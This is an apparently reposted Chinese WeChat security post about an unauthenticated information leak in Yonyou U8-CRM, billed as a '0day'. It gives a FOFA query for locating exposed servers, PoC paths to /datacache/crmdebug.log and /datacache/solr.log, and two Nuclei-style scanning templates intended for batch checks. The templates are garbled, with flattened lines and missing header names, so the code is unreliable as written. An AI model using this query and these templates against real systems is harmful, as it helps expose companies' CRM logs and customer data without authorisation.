请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。
用友U8-CRM是一款由用友软件开发的客户关系管理（CRM）系统。它是基于用友U8企业管理软件平台开发的，旨在帮助企业有效管理和维护与客户之间的关系。该系统提供了一系列功能，包括客户信息管理、销售机会跟踪、市场营销活动管理、客户服务支持等。通过使用用友U8-CRM，企业可以更好地了解客户需求，提高销售效率，增强客户满意度，并实现更好的客户关系管理。
0x02影响范围
"用友U8CRM"
app="用友U8CRM"
poc1：/datacache/crmdebug.logpoc2: /datacache/solr.log
http://x.x.x.x/datacache/crmdebug.loghttp://x.x.x.x/datacache/solr.log
使用以上Poc发送数据包：
#####poc1
id: yongyou-u8crm-solr-infoleakinfo:name: yongyou-u8crm-solr-infoleakauthor: recjlseverity: highdescription: descriptionreference:https://tags: tagsrequests:raw:|+GET /datacache/solr.log HTTP/1.1Host: {{Hostname}}: 1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7: gzip, deflate, br: zh-CN,zh;q=0.9Cookie: PHPSESSID=5idjb0h3d541o41qip97iapjh0Connection: close: andmatchers:type: wordpart: headerwords:HTTP/1.1 200 OKtype: wordpart: bodywords:'Solr Index Req:'type: statusstatus:200
#####poc2
id: yongyou-u8crm-infoleakinfo:name: yongyou-u8crm-infoleakauthor: recjlseverity: highdescription: descriptionreference:https://tags: tagsrequests:raw:|+GET /datacache/crmdebug.log HTTP/1.1Host: {{Hostname}}: 1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7: gzip, deflate, br: zh-CN,zh;q=0.9Cookie: PHPSESSID=5idjb0h3d541o41qip97iapjh0Connection: close: andmatchers:type: wordpart: headerwords:'Content-Type: text/plain'type: wordpart: headerwords:HTTP/1.1 200 OKtype: statusstatus:200
使用批量脚本验证：
原文始发于微信公众号（爱喝酒烫头的曹操）：(0day) 用友u8-crm存在信息泄露漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论